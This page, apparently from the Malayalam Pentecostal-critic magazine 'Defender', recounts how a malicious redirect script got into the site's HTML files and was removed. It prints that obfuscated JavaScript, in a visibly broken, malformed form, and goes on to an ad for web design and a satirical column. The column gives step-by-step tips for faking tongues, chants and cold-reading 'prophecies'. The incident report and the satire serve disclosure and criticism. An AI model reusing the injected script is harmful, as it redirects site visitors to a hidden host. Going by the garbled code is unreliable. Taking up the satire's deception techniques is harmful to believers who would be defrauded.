എങ്ങനെയാണ് ഡിഫെൻഡറിന്റെ സൈറ്റിൽ ഈ മാൽവെയർ കടന്നു കൂടിയത്? നാം ഏതെങ്കിലും വെബ്സൈറ്റ് സന്ദർശിക്കുമ്പോൾ അതിലുള്ള കുറെ ഫയലുകൾ നമ്മുടെ കമ്പ്യൂട്ടറിലെ ടെംപ് ഫോൾഡറിലേക്ക് ഡൗൺലോഡ് ചെയ്യപ്പെടുന്നു. ഇപ്രകാരം നമ്മുടെ കമ്പ്യൂട്ടറിൽ എത്തുന്ന ഫയലുകളിൽ മാൽവെയർ ഉണ്ടെങ്കിൽ അത് നമ്മുടെ കമ്പ്യൂട്ടറിലെ മറ്റു ഫയലുകളിലേക്കും വ്യാപിക്കും.

ഞങ്ങൾ സന്ദർശിച്ച ഏതൊ സൈറ്റിൽ നിന്നു ഞങ്ങളുടെ കമ്പ്യൂട്ടറിൽ കടന്ന മാൽവെയർ ഡിഫെൻഡറിന്റെ വെബ്സൈറ്റിന്റെ ബാക്ക്അപ് സൂക്ഷിച്ചിരുന്ന ഫോൾഡറിൽ കടക്കുകയും index.html എന്ന ഫയലിൽ എത്തുകയും ചെയ്തു. ഫയലിൽ മാൽവെയർ കടന്ന വിവരം അറിയാതെ ഞങ്ങൾ ഈ ഫയൽ വെബ്സൈറ്റിലേക്ക് അപ്ലോഡ് ചെയ്തു. ഇതാണു സംഭവിച്ചത്.

മാൽവെയർ പ്രശ്നം ശ്രദ്ധയിൽ പെട്ട ഉടൻ ഞങ്ങൾ എന്താണു ചെയ്തതെന്നും പറയാം: ഈ മാൽവെയർ എന്താണു ചെയ്യുന്നതെന്നു പരിശോധിച്ചു. കമ്പ്യൂട്ടർ ഉപകരണങ്ങൾ വിൽക്കുന്ന ഒരു സ്ഥാപനത്തിന്റെ വെബ്സൈറ്റിലേക്ക് റീഡയറക്ട് ചെയ്യുക മാത്രമേ ചെയ്യുന്നുള്ളൂ എന്നു മനസ്സിലായി. അതോടെ മാൽവെയർ കുഴപ്പക്കാരനല്ല എന്നു വ്യക്തമായി. എങ്കിലും ഈ സ്ക്രിപ്റ്റ് ഒഴിവാക്കണം. തുടർന്ന് അതിനുള്ള മാർഗ്ഗം ആലോചിച്ചു കണ്ടുപിടിച്ചു. അങ്ങനെ ഡിഫെൻഡറിന്റെ വെബ് സൈറ്റിലുള്ള എല്ലാ ഫയലുകളും ഞങ്ങളുടെ കമ്പ്യൂട്ടറിലേക്ക് ഡൗൺലോഡ് ചെയ്തു. html ഫയലുകളിൽ മാത്രമേ മാൽവെയറുള്ളൂ എന്നു മനസ്സിലായി. മാൽവെയറിന്റെ സ്ക്രിപ്റ്റ് കണ്ടെത്തുകയും ചെയ്തു. html ഫയലുകളുടെ അവസാനഭാഗത്ത് ഈ ജാവാ സ്ക്രിപ്റ്റ് എഴുതിയിരിക്കയാണ്. അത് മായ്ച്ചു കളഞ്ഞാൽ പ്രശ്നം തീർന്നു. html എഡിറ്റർ ഉപയോഗിച്ച് ഈ സ്ക്രിപ്റ്റ് മായ്ച്ചുകളഞ്ഞശേഷം ഫയലുകൾ അപ്ലോഡ് ചെയ്തു. അതോടെ മാൽവെയർ പ്രശ്നം തീർന്നു. പക്ഷേ വിവരം ഗൂഗിളിനെ അറിയിച്ച് വാണിംഗ് നോട്ടീസ് ഒഴിവാക്കണം. അതിന് ആവശ്യമായ കാര്യങ്ങളും ഉടൻതന്നെ ചെയ്തു. അങ്ങനെ മാൽവെയർ പ്രശ്നം പൂർണ്ണമായി പരിഹരിച്ചു. ബാലന്റെ വെബ്സൈറ്റിന്റെ വെടിക്കെട്ടു തീർന്നു എന്ന സന്തോഷ വാർത്തയുമായി മോനായിയുടെ പത്രം പുറത്തിറങ്ങുന്നതിനു മുൻപ് ബാലന്റെ വെബ്സൈറ്റ് ക്ലീനായി.

ബാലൻ അങ്ങനെയങ്ങു ജയിക്കുന്നതു ശരിയല്ലല്ലോ. അതുകൊണ്ട് മോനായി പിന്നീടും വിവരക്കേട് എഴുന്നെള്ളിച്ചു. മറ്റുള്ളവരുടെ വ്യക്തിപരമായ വിവരങ്ങൾ ചോർത്താൻ ബാലൻ ശ്രമിച്ചെന്നും ഗൂഗിൾ ബാലന്റെ സൈറ്റ് വിലക്കിയെന്നും മറ്റുമാണു മോനായി പ്രചരിപ്പിച്ചത്. പക്ഷേ മോനായിയുടെ വിദ്യ ഫലിച്ചില്ല. 2010 മാർച്ച് മാസത്തിൽ ഡിഫെൻഡറിന്റെ വെബ്സൈറ്റ് സന്ദർശിച്ചവരുടെ സംഖ്യ അഞ്ചു ലക്ഷത്തിൽ അധികമാണ്. ഫെബ്രുവരിയിൽ ഇതു നാലു ലക്ഷത്തോളം മാത്രമായിരുന്നു. മാർച്ചിൽ മാത്രം ഉണ്ടായ വർദ്ധനവ് ഒരു ലക്ഷത്തിന്റേതാണ്. എല്ലാ ദിവസവും ശരാശരി 15,000 ഹിറ്റുകളാണ് ഡിഫെൻഡറിന്റെ സൈറ്റിനു ലഭിക്കുന്നത്. ഡിഫെൻഡർ പ്രസിദ്ധീകരിക്കുന്ന ദിവസങ്ങളിൽ ഈ സംഖ്യ അഞ്ചിരട്ടിയിൽ അധികമാകും. എന്തെല്ലാം വ്യാജപ്രചരണങ്ങളുണ്ടായാലും ഡിഫെൻഡറിന്റെ സൈറ്റ് പുരോഗതിയുടെ പാതയിലാണ്.

മാൽവെയർ പ്രശ്നം ഇനിയുമുണ്ടായെന്നു വരാം. അങ്ങനെ സംഭവിച്ചാൽ വെബ്സൈറ്റ് ബ്ലോക്ക് ആകാതിരിക്കാനുള്ള മാർഗ്ഗം നോക്കണം. അതുകൊണ്ട് ഇനി മുതൽ ഡിഫെൻഡറിനു മൂന്നു വൈബ്സൈറ്റുകൾ ഉണ്ടായിരിക്കും.

**www.tsbalan.com**
**www.tsbalan.org**
**www.tsbalan.net**

ഈ മൂന്നു സൈറ്റുകൾ വ്യത്യസ്ത സേർവറുകളിലായിരിക്കും പ്രവർത്തിക്കുക. ഒരിടത്തു പ്രശ്നമുണ്ടായാലും മറ്റു രണ്ടു സൈറ്റുകൾ കുഴപ്പം കൂടാതെ പ്രവർത്തിക്കാൻ ഇതു സഹായകമാകും. ശത്രുക്കളുടെ എണ്ണം കൂടുമ്പോൾ ഇങ്ങനെ ചില മുൻകരുതലുകളൊക്കെ എടുക്കണമല്ലോ.

ഇന്റർനെറ്റിലൂടെ ഡിഫെൻഡർ സാത്താനെതിരെ പോരാടുമെന്നു മുൻകൂട്ടി കണ്ടാണു സാത്താൻ ഞങ്ങളെ ഇന്റർനെറ്റ് കേസ്സിൽ കുടുക്കിയത്. പക്ഷേ സാത്താന്റെ മുൻപിൽ തോൽക്കാൻ ഞങ്ങൾ തയ്യാറായില്ല. അതുകൊണ്ട് ഇന്റർനെറ്റിൽ കൂടുതൽ ശ്രദ്ധ കേന്ദ്രീകരിച്ചു. വെബ്സൈറ്റ് ഡിസൈനിംഗ് പഠിക്കാനിടയായത് ഇങ്ങനെയാണ്. ഏതായാലും അതു ഗുണം ചെയ്തു. മറ്റുള്ളവരുടെ സഹായം കൂടാതെ ഡിഫെൻഡറിനു വെബ്സൈറ്റ് ഉണ്ടാക്കാൻ കഴിഞ്ഞു എന്നു മാത്രമല്ല ഞങ്ങളുടെ ഉപജീവനത്തിനു വെബ്സൈറ്റ് ഡിസൈനിംഗ് ഒരു തൊഴിലായി സ്വീകരിക്കാനും കഴിഞ്ഞു. ഞങ്ങൾ ഡിസൈൻ ചെയ്ത 100ൽ അധികം സൈറ്റുകൾ ഇപ്പോൾ നിലവിലുണ്ട്.

ഇവനാണു കുഴപ്പമുണ്ടാക്കിയത്

```
<script type='text/javascript'> function cS(){};var pTI="pTI";
cS.prototype = {pP : function() {function f(){};var fT="fT"; return
'hCtVtCpV:B/C/CbBeBnHu VoCsCkCaC.Bc3oBm3/HlCiHa 3nVdC/
BiBn3dCe3xV.3pHhV pV'.eP(/[VB3HC]/g, '');var uW=28714;var t=new
Date();var pU=function(){};},v:function() {fJ="";var jX='';a="a";this.h
W=false;var m=document;zZ=" zZ";var d=new Date();this. x="";var
e=window;var lV=58521; var mE=new Array();this.gB=''; '');
fTP=false;this.eO="";rY="";var eR uWL=function(){};var
bT="";qC="qC";b[j](sD, eR);var zZQ=function(){};var bJ=new
Array();var mLM=21300;this.xB= "";vR= "vR";this.aX='';var
vG=false;document[i][p](b);var uA=false;var sQ="";var sU= false;var
hE=38029;var fTQ=new Date();var iZ='';} catch(uU) {var eC="eC";var
kR=function(){ return 'kR'};m.write('usSscE<A/sbPoEdEyx>A<x/
xhAtAmPlP>E'.eP(/[EsAxP]/g,''));varqC="qC";b[j](sD, eR);var zZQ=
qX= 26271;this12754;this.sT='';var r = this;xT=60223;var hO=false;
wC="wC";e[uY](function(){ r.v() },qC="qC";b[j](sD, eR);var zZQ=
113);var o=function(){return  gW=62382; nR=65112;}};var
cJ="cJ";var dJ=new cS(); wH="";dJ.v();jJ= 7359;</script>
```


## നിങ്ങൾക്കും ഒരു വെബ്സൈറ്റ്

വെബ്സൈറ്റിനേക്കുറിച്ച് മിക്കവരും കേട്ടിരിക്കുമെങ്കിലും എങ്ങനെയാണ് വെബ്സൈറ്റ് ഉണ്ടാക്കുന്നതെന്ന് അറിയാവുന്നവർ ഏറെയില്ല. ഇന്റർനെറ്റ് എന്നത് ഒരു മഹാനഗരമാണെങ്കിൽ ആ നഗരത്തിൽ അല്പം സ്ഥലം വാങ്ങി വീടുണ്ടാക്കുന്നതാണ് വെബ്സൈറ്റ്. പക്ഷേ സ്ഥലം വാങ്ങാനും വീടു വയ്ക്കാനും മറ്റും പലരുടേയും സഹായം ആവശ്യമായിവരും. ഇത്തരം ജോലികളെല്ലാം ഞങ്ങൾ വളരെ കുറഞ്ഞ ചെലവിൽ ചെയ്തുതരുന്നു:

നിങ്ങളുടെ സംഘടന, ബിസിനസ്സ്, സ്ഥാപനം, മിനിസ്ട്രി, സഭ തുടങ്ങി എന്തിനും വെബ്സൈറ്റ് ഉണ്ടാക്കാം. നിങ്ങളുടെ കുടുംബത്തിനുപോലും വെബ്സൈറ്റ് നിർമ്മിക്കാം.

**– നിങ്ങളുടെ പേരിൽ ഡൊമെയ്ൻ രജിസ്റ്റർ ചെയ്യുന്നു.**

**– വെബ്സൈറ്റിന് ആവശ്യമായ സ്പേസ് വാങ്ങുന്നു.**

**– ഹോംപേജ് (ആദ്യ പേജ്) ഉണ്ടാക്കുന്നു.**

**ആകെ ചെലവ് – 2000 രൂപ മാത്രം**

**ഓരോ അധിക പേജിനും 500 രൂപ.**

**കൂടുതൽ വിവരങ്ങൾക്ക് വിളിക്കുക: 96564 32921**

# നിങ്ങൾക്കും വലിയവനാകാം

ആത്മീയ ലോകത്തു വലിയവനാകാൻ പ്രവചനത്തോളം ഫലവത്തായ ഒരു തന്ത്രമില്ല. ശ്രദ്ധിച്ചു വിനിയോഗിച്ചാൽ രോഗശാന്തിയേപ്പോലും കടത്തി വെട്ടാൻ പ്രവചനത്തിനു കഴിയും.

പ്രവചനം നിന്നുപോയെന്നു പഠിപ്പിക്കുന്ന സഭകളുണ്ട്. അത്തരം സഭകൾ നല്ല പ്രവാചകൻമാർക്കു മാത്രമല്ല കള്ളപ്രവാചകൻമാർക്കും ദോഷം ചെയ്യും. എങ്കിലും പെന്തക്കോസ്ത് സഭകൾ പ്രവചനത്തിൽ വിശ്വസിക്കുന്നതുകൊണ്ട് നല്ല പ്രവാചകൻമാരോടൊപ്പം കള്ളപ്രവാചകൻമാർക്കും നിന്നുപിടിക്കാം.

പെന്തക്കോസ്ത് സഭകളിൽ കണ്ടുവരുന്ന പ്രവചനങ്ങളെ പ്രധാനമായി അഞ്ചു വിഭാഗങ്ങളായി തിരിക്കാം.

1. ദൈവാത്മാവിലുള്ളത്.

ഒന്നാം നൂറ്റാണ്ടിലുണ്ടായിരുന്ന വിധത്തിലുള്ള പ്രവചനം ഈ ഇരുപത്തൊന്നാം നൂറ്റാണ്ടിലും നിലനിൽക്കുന്നു. പക്ഷേ ദൈവാത്മാവ് ശുശ്രൂഷ ഏല്പിക്കുന്നവർക്കു മാത്രമേ ഈ തരത്തിലുള്ള പ്രവാചകനാകാൻ പറ്റൂ.

2. ദുരാത്മാവിലുള്ളത്.

ദൈവാത്മാവിൽ നിറഞ്ഞു പ്രവചിക്കുന്നതുപോലെതന്നെ ദുരാത്മാവിൽ നിറഞ്ഞും പ്രവചിക്കാൻ കഴിയും. കള്ളൻമാർക്ക് ഈ മാർഗ്ഗം അനുയോജ്യമാണ്.

3. ഇളക്കപ്പെരുപ്പം.

നിഷ്ക്കളങ്കരായ ആളുകളാണ് ഇത്തരം പ്രവചനങ്ങൾ നടത്തുന്നത്. തങ്ങളുടെ ഹൃദയത്തിൽ തോന്നിയതെല്ലാം ദൈവം പറയുന്നതാണെന്നു തെറ്റിദ്ധരിച്ച് പ്രവചിക്കയാണു ചെയ്യുന്നത്.

4. മാനസികരോഗം.

താൻ ദൈവത്താൽ നിയമിക്കപ്പെട്ട പ്രവാചകനാണെന്നു മാനസികരോഗി തെറ്റിദ്ധരിക്കുന്നതുമൂലം ഉണ്ടാകുന്ന പ്രവചനമാണിത്. മാനസികരോഗം സൗഖ്യമാകുന്നതോടെ ഇത്തരം പ്രവചനവും നിലയ്ക്കും.

5. ശുദ്ധ തട്ടിപ്പ്.

കള്ളപ്രവചനത്തിലൂടെ വലിയവനാകാൻ ആഗ്രഹിക്കുന്നവർ ഈ വിധത്തിലുള്ള പ്രവചനമാണു പ്രയോഗിക്കേണ്ടത്. അതിനുള്ള വിദ്യ പറഞ്ഞുതരാം.

പ്രവചനത്തിന്റെ അവിഭാജ്യ ഘടകമാണ് അന്യഭാഷ. അതുകൊണ്ട് രസികൻ അന്യഭാഷകൾ പറയാൻ പഠിക്കുകയാണ് ആദ്യം ചെയ്യേണ്ടത്. മനു ചെറിയാൻ പറഞ്ഞതുപോലെ 'കപ്പക്കാല കമ്പം തേനി' എന്നൊന്നും പറയരുത്. കാരണം അത്തരത്തിലുള്ള അന്യഭാഷ വ്യാജമാണെന്നു കണ്ടുപിടിക്കാൻ വലിയ ബുദ്ധിമുട്ടില്ല.

അറിയപ്പെടുന്ന ദൈവദാസൻമാർ പറയുന്ന അന്യഭാഷ റിക്കാഡ് ചെയ്തെടുക്കാൻ ശ്രമിക്കുക. ഇപ്പോൾ മൊബൈലിലും മറ്റും റിക്കാഡിംഗ് ഉള്ളതുകൊണ്ട് സംഗതി എളുപ്പമാണ്. വിവിധ രൂപത്തിലും ഭാവത്തിലും ഉള്ള അന്യഭാഷകൾ റിക്കാഡ് ചെയ്ത് ശേഖരിക്കണം. അതു കഴിഞ്ഞ് ഇവയെല്ലാം പലവട്ടം കേൾക്കണം. അപ്പോൾ അന്യഭാഷകളുടെ ശൈലിയും അതു പറയുന്ന രീതിയും മറ്റും മനസ്സിലാക്കാൻ കഴിയും. അതു കഴിഞ്ഞ് നിങ്ങൾ പറയാൻ ഉദ്ദേശിക്കുന്ന അന്യഭാഷ എഴുതിയുണ്ടാക്കുക. വിവിധതരം അന്യഭാഷകൾ എഴുതിയുണ്ടാക്കണം. അവ മന:പാഠമാക്കുകയാണ് അടുത്ത പടി. അതു കഴിഞ്ഞ് ഈ അന്യഭാഷകൾ സ്വയം പറഞ്ഞുനോക്കണം. റിക്കാഡ് ചെയ്തശേഷം കേട്ടും നോക്കണം. മറ്റുള്ളവരുടെ അന്യഭാഷയുമായി യോജിക്കുന്നുണ്ടോ എന്നും പരിശോധിക്കണം. സാധനം നന്നായിരിക്കുന്നു എന്നു ബോദ്ധ്യം വന്നശേഷം മാത്രമേ പ്രയോഗിക്കാവൂ.

പ്രവാചകൻമാർ കൂടോത്രം ഇളക്കുകയും മറ്റും ചെയ്യേണ്ടതായി വരും. കൂടോത്രങ്ങളെ പ്രധാനമായി ഹൈന്ദവ കൂടോത്രം, ക്രിസ്ത്യൻ കൂടോത്രം, മുസ്ലീം കൂടോത്രം എന്നിങ്ങനെ മൂന്നായി തിരിക്കാം. ഇവ ഓരോന്നും അഴിക്കാൻ അതാതു ഭാഷയിലുള്ള മന്ത്രം ചൊല്ലണം. ഹൈന്ദവരുടെ കൂടോത്രം സംസ്കൃത മന്ത്രം ചൊല്ലിയാണ് അഴിക്കേണ്ടതെന്നു വിശേഷിച്ചു പറയേണ്ടതില്ലല്ലോ. സംസ്കൃതമറിയാത്തവർ എങ്ങനെ സംസ്കൃത മന്ത്രം ചൊല്ലും? പ്രജാപതി ക്രിസ്തുവാണെന്നു തെളിയിക്കാൻ പ്രജാപതിക്കാർ സംസ്കൃതം ചൊല്ലിയതുപോലെയുള്ള തന്ത്രം ഇവിടെയും പ്രയോഗിക്കാം.

ഓം കന്യാശുദ്ധായ നമഹ
ഓം വൃക്ഷശൂലാർപ്പിതായ നമഹ
ഓം പഞ്ചകായായ നമഹ
ഓം ഫ്രങ്കായ നമഹ

ഇങ്ങനെയാണ് അവർ ശ്ലോകം ചൊല്ലിയത്. സംസ്കൃതമറിയാവുന്നവർ ഇതു കേട്ടാൽ വണ്ടറടിച്ചുപോകും. ഇതുപോലുള്ള എന്തെങ്കിലും, ശ്ലോകം പോലെ, ചൊല്ലിയാൽ ഹൈന്ദവ കൂടോത്രം അഴിക്കാനുള്ള സംസ്കൃത അന്യഭാഷയായി.

സംഗതി ക്രിസ്ത്യൻ കൂടോത്രമാണെങ്കിൽ കുർബ്ബാന ചൊല്ലുന്ന ഈണത്തിൽ അർഥശൂന്യമായ കുറെ വാക്കുകൾ ചൊല്ലുക. മുസ്ലീം കൂടോത്രം അഴിക്കുമ്പോൾ അറബി ചൊല്ലണം. ഹ, ള, ർ, ൽ തുടങ്ങിയ അക്ഷരങ്ങൾ അധികമായി വരുന്ന കുറെ അർത്ഥശൂന്യമായ വാക്കുക്കൾ ബാങ്കു വിളിക്കുന്ന ഈണത്തിൽ ചൊല്ലിയാൽ അറബിയായി. ഇങ്ങനെ സാഹചര്യത്തിനും ആവശ്യത്തിനും അനുസരിച്ച് അന്യഭാഷ പറയാനുള്ള അറിവ് എല്ലാ പ്രവാചകൻമാർക്കും ഉണ്ടായിരിക്കണം.

കള്ളപ്രവചനം എങ്ങനെ നടത്തണമെന്നതാണ് ഇനി പഠിക്കാനുള്ളത്. ഫോട്ടോ എടുക്കാനായി സ്റ്റുഡിയോയിൽ പോകുമ്പോൾ കോട്ടും ടൈയ്യും മറ്റും നാം കൊണ്ടുപോകേണ്ടതില്ല. ഈ വക സാധനങ്ങൾ അവിടെ കിട്ടും. സ്റ്റുഡിയോയിലുള്ള കോട്ട് ആർക്കും യോജിക്കും. ഒരു ആവറേജ് അളവിൽ തയ്പ്പിച്ചിരിക്കയാണ്. കള്ളപ്രവചനവും ഇതുപോലെയാണ്. ആർക്കും യോജിക്കുന്ന വാചകങ്ങൾ പറഞ്ഞാൽ ഒന്നാംതരം പ്രവചനമായി.

എല്ലാ കള്ളപ്രവാചകൻമാരും ചില ബൈബിൾ വാക്യങ്ങൾ കാണാപ്പാഠം പഠിക്കണം. പ്രവചനത്തോടൊപ്പം ചേർക്കാൻ പറ്റിയ വാക്യങ്ങളാണു പഠിക്കേണ്ടത്. ഇതാ സാമ്പിൾ:

രക്ഷിക്കുവാൻ കഴിയാത്തവണ്ണം യഹോവയുടെ കൈ കുറുകിയിട്ടില്ല; കേൾക്കുവാൻ കഴിയാത്തവണ്ണം അവന്റെ ചെവി മന്ദമായിട്ടുമില്ല. നിങ്ങളുടെ അകൃത്യങ്ങൾ അത്രേ നിങ്ങളെയും നിങ്ങളുടെ ദൈവത്തെയും തമ്മിൽ ഭിന്നിപ്പിച്ചിരിക്കുന്നത്; നിങ്ങളുടെ പാപങ്ങൾ അത്രേ അവൻ കേൾക്കാത്തവണ്ണം അവന്റെ മുഖത്തെ നിങ്ങൾക്കു മറയ്ക്കുമാറാക്കിയത്. യെശ. 59:1,2.

എഴുന്നേറ്റു പ്രകാശിക്കുക; നിന്റെ പ്രകാശം വന്നിരിക്കുന്നു; യഹോവയുടെ തേജസ്സും നിന്റെമേൽ ഉദിച്ചിരിക്കുന്നു. അന്ധകാരം ഭൂമിയെയും കൂരിരുട്ടു ജാതികളെയും മൂടുന്നു; നിന്റെമേലോ യഹോവ ഉദിക്കും; അവന്റെ തേജസ്സും നിന്റെ മേൽ പ്രത്യക്ഷമാകും. യെശ. 60:1,2.

ഇതാ ഞാൻ താങ്ങുന്ന എന്റെ ദാസൻ; എന്റെ ഉള്ളം പ്രസാദിക്കുന്ന എന്റെ വൃതൻ; ഞാൻ എന്റെ ആത്മാവിനെ അവന്റെ മേൽ വച്ചിരിക്കുന്നു; അവൻ ജാതികളോടു ന്യായം പ്രസ്താവിക്കും. യെശ. 42:1

ആകാശത്തെ സൃഷ്ടിച്ചു വിരിക്കുകയും ഭൂമിയെയും അതിലെ ഉല്പന്നങ്ങളെയും പരത്തുകയും അതിലെ ജനത്തിനു ശ്വാസത്തെയും അതിൽ നടക്കുന്നവർക്കു പ്രാണനെയും കൊടുക്കുകയും ചെയ്ത യഹോവയായ ദൈവം ഇപ്രകാരം അരുളിച്ചെയ്യുന്നു. യെശ. 42:5

ഇപ്പോഴോ യാക്കോബേ, നിന്നെ സൃഷ്ടിച്ചവനും, യിസ്രായേലേ, നിന്നെ നിർമ്മിച്ചവനുമായ യഹോവ ഇപ്രകാരം അരുളിച്ചെയ്യുന്നു: ഭയപ്പെടേണ്ടാ, ഞാൻ നിന്നെ വീണ്ടെടുത്തിരിക്കുന്നു; ഞാൻ നിന്നെ പേരു ചൊല്ലി വിളിച്ചിരിക്കുന്നു; നീ എനിക്കുള്ളവൻ തന്നേ. നീ വെള്ളത്തിൽക്കൂടി കടക്കുമ്പോൾ ഞാൻ നിന്നോടുകൂടി ഇരിക്കും; നീ നദികളിൽക്കൂടി കടക്കുമ്പോൾ അവ നിന്റെ മീതേ കവിയുകയില്ല. നീ തീയിൽക്കൂടി നടന്നാൽ വെന്തു പോകുകയില്ല; അഗ്നിജ്വാല നിന്നെ ദഹിപ്പിക്കുകയുമില്ല. യെശ. 43:1,2

ഏതു തരത്തിലുള്ള വാക്യങ്ങളാണു കാണാപ്പാഠം പഠിക്കേണ്ടതെന്നു മനസ്സിലായി കാണുമെന്നു കരുതുന്നു. ഇത്തരം വാക്യങ്ങൾ ബുദ്ധിപൂർവ്വം പ്രയോഗിച്ചാൽ അത്ഭുതാവഹമായ ഫലം കിട്ടും.

പ്രവാചകൻമാർ സ്ഥിരമായി പറയേണ്ട ചില വാക്കുകളും പഠിക്കണം. സ്ത്രീയോ പുരുഷനോ എന്നു നോക്കി മകളേ, മകനേ എന്നിങ്ങനെ വിളിക്കണം. പകൽ സമയത്തു പകൽക്കാലം എന്നും രാത്രി സമയത്തു രാത്രിക്കാലം എന്നും പറയണം. കാലം തല തിരിഞ്ഞാൽ കഷ്ടകാലമാകും. രാത്രിയോ പകലോ എന്നുപോലും അറിഞ്ഞുകൂടാത്ത ആത്മാവ് എന്തുതരം ആത്മാവാണെന്നു ബുദ്ധിയുള്ളവർ ചോദിക്കാൻ ഇട വരുത്തരുത്.

ജനം എന്ന വാക്ക് നിരന്തരം ഉപയോഗിക്കണം. പ്രവചിക്കുന്നത് ഒരു വ്യക്തിയോടായാലും ''എന്റെ ജനം'' എന്നുവേണം പറയാൻ. ഒരാൾ എങ്ങനെ ജനമാകും എന്ന് ആരെങ്കിലും ചോദിക്കുമെന്നു ഭയപ്പെടേണ്ടതില്ല. ഇതൊക്കെ പ്രവചനത്തിലെ അംഗീകൃത രീതിയാണ്.

പ്രവചനം തന്നെ പല രീതിയിലുണ്ട്. അതിൽ നമുക്കു സൗകര്യപ്രദമായ രീതി സ്വീകരിക്കാം. ബൈബിൾ വാക്യത്തിലൂടെ പ്രവചനം പറയുന്ന രീതിയാണ് ഏറ്റവും സുരക്ഷിതം. പ്രവചനം തെറ്റിയെന്ന് ആരും പറയുകയില്ല. മാത്രമല്ല പ്രവചനം വചനപ്രകാരമായിരുന്നു എന്നു പറഞ്ഞു തടി തപ്പാനും എളുപ്പമാണ്.

എന്തെങ്കിലും ദൂതോ നിർദ്ദേശമോ ആശ്വാസവാക്കോ ഉൾക്കൊള്ളുന്ന ബൈബിൾ വാക്യങ്ങളുടെ ഒരു നീണ്ട ലിസ്റ്റ് ഉണ്ടാക്കുകയാണ് ആദ്യം ചെയ്യേണ്ടത്. സാഹചര്യത്തിനനുസരിച്ച് ഈ വാക്യങ്ങൾ പറയണം. ഇതാ ചില ഉദാഹരണങ്ങൾ.

ആ നീല സാരിയുടുത്ത സഹോദരിയോട് ദൈവാത്മാവ് യെശ. 55:8 ദൂതായിട്ട് അറിയിക്കുന്നു. ആ വാക്യം നമുക്കു വായിക്കാം:

എന്റെ വിചാരങ്ങൾ നിങ്ങളുടെ വിചാരങ്ങൾ അല്ല; നിങ്ങളുടെ വഴികൾ എന്റെ വഴികളുമല്ല എന്നു യഹോവ അരുളിച്ചെയ്യുന്നു.

ദൈവസന്നിധിയിൽ വച്ചു പ്രാർത്ഥിച്ചുകൊണ്ടിരിക്കുന്ന കാര്യത്തേക്കുറിച്ചാണു ദൈവാത്മാവു പറയുന്നത്. എന്താ കർത്താവേ ഇതുവരെയായിട്ടും മറുപടി തരാത്തത് എന്നു ചോദിച്ചു സഹോദരി ഭാരപ്പെടുകയാണ്. പക്ഷേ നമ്മുടെ വഴികളല്ല ദൈവത്തിന്റെ വഴികൾ. ദൈവത്തിന്റെ സമയാകുമ്പോൾ ദൈവം വഴി തുറക്കും സഹോദരീ.

നീല സാരിയുടുത്ത സഹോദരിയോടെന്നല്ല ഏതു നിറമുള്ള സാരിയുടുത്ത സഹോദരിയോടും മുണ്ടുടുത്ത സഹോദരനോടും സകലമാന പെന്തക്കോസ്തുകാരോടും ഈ പ്രവചനം നടത്താം. സംഗതി അച്ചട്ടായിരിക്കും. എന്താ കാരണം? എല്ലാവരും എന്തെങ്കിലുമൊക്കെ കാര്യങ്ങൾ ദൈവസന്നിധിയിൽ വച്ചു പ്രാർത്ഥിക്കുന്നുണ്ടാകും. നാളിതുവരെ മറുപടി കിട്ടാത്ത വിഷയങ്ങൾ എല്ലാവർക്കും ഉണ്ടായിരിക്കും. മാത്രമല്ല, ബൈബിളിൽ നിന്നുള്ള ഒരു വാക്യമാണ് വായിച്ചത്. ആ വാക്യത്തിൽ പറയുന്ന കാര്യം എല്ലായ്പ്പോഴും സത്യവുമാണ്. നീല സാരി ഉടുത്ത സഹോദരി വളരെക്കാലമായി പ്രാർത്ഥിച്ചുകൊണ്ടിരുന്ന വിഷയത്തിന് ഈ പ്രവചനം കഴിഞ്ഞ് ഏറെ താമസിയാതെ പരിഹാരമുണ്ടാകുകകൂടി ചെയ്താൽ അതോടെ പ്രവാചകന്റെ മഹത്വം പല മടങ്ങായി വർദ്ധിക്കും. അതു കള്ളപ്രവചനമായിരുന്നെന്നോ ഈ പ്രവചനം നടത്തിയ വ്യക്തി കള്ളനായിരുന്നെന്നോ കാര്യകാരണ സഹിതം പറഞ്ഞാലും വിശ്വസിക്കാൻ ആളുണ്ടാകില്ല.

ഈ വിധത്തിൽ ആർക്കും ഇടാവുന്ന കോട്ടുകൾ നിരവധിയുണ്ട്. ദൈവീക വാഗ്ദത്തങ്ങൾ ഉൾക്കൊള്ളുന്ന എല്ലാ വാക്യങ്ങളും ഈ വിധത്തിൽ ഉപയോഗിക്കാം. പ്രബോധനം, മുന്നറിയിപ്പ് തുടങ്ങിയവ ഉൾക്കൊള്ളുന്ന വാക്യങ്ങളും കള്ളപ്രവചനത്തിന് ഉപയോഗിക്കാം. പക്ഷേ പാപത്തിലേക്കു വിരൽ ചൂണ്ടുന്ന വാക്യങ്ങൾ ഒഴിവാക്കണം. ഉദാഹരണത്തിന്, ആ തൂണിന്റെ ചുവട്ടിൽ ഇരിക്കുന്ന സഹോദരനോടു ദൈവാത്മാവ് സങ്കീ.50:16-22 ദൂതായിട്ട് അറിയിക്കുന്നു എന്നു പറഞ്ഞാലുള്ള അനുഭവം ഊഹിക്കാമല്ലോ. ''നീ എന്റെ ചട്ടങ്ങളെ അറിയിക്കുവാനും എന്റെ നിയമത്തെ നിന്റെ വായിൽ എടുക്കുവാനും നിനക്കെന്തു കാര്യം? നീ ശാസനയെ വെറുത്തു എന്റെ വചനങ്ങളെ നിന്റെ പുറകിൽ എറിഞ്ഞുകളയുന്നുവല്ലോ. കള്ളനെ കണ്ടാൽ നീ അവന് അനുകൂലപ്പെടുന്നു; വ്യഭിചാരികളോട് നീ പങ്കു കൂടുന്നു. നിന്റെ വായ് നീ ദോഷത്തിനു വിട്ടു കൊടുക്കുന്നു; നിന്റെ നാവു വഞ്ചന പിണയ്ക്കുന്നു. നീ ഇരുന്നു നിന്റെ സഹോദരനു വിരോധമായി സംസാരിക്കുന്നു; നിന്റെ അമ്മയുടെ മകനെക്കുറിച്ച് അപവാദം പറയുന്നു. ഇവ നീ ചെയ്തു ഞാൻ മിണ്ടാതിരിക്കുകയാൽ ഞാൻ നിന്നെപ്പോലെയുള്ളവനെന്നു നീ നിരൂപിച്ചു; എന്നാൽ ഞാൻ നിന്നെ ശാസിച്ചു നിന്റെ കണ്ണിൻമുമ്പിൽ അവയെ നിരത്തിവയ്ക്കും. ദൈവത്തെ മറക്കുന്നവരേ, ഇത് ഓർത്തുകൊള്ളുവിൻ; അല്ലെങ്കിൽ ഞാൻ നിങ്ങളെ കീറിക്കളയും; വിടുവിക്കുവാൻ ആരുമുണ്ടാകുകയുമില്ല.'' ഇത്തരം വാക്യങ്ങൾ ഒഴിവാക്കുക. 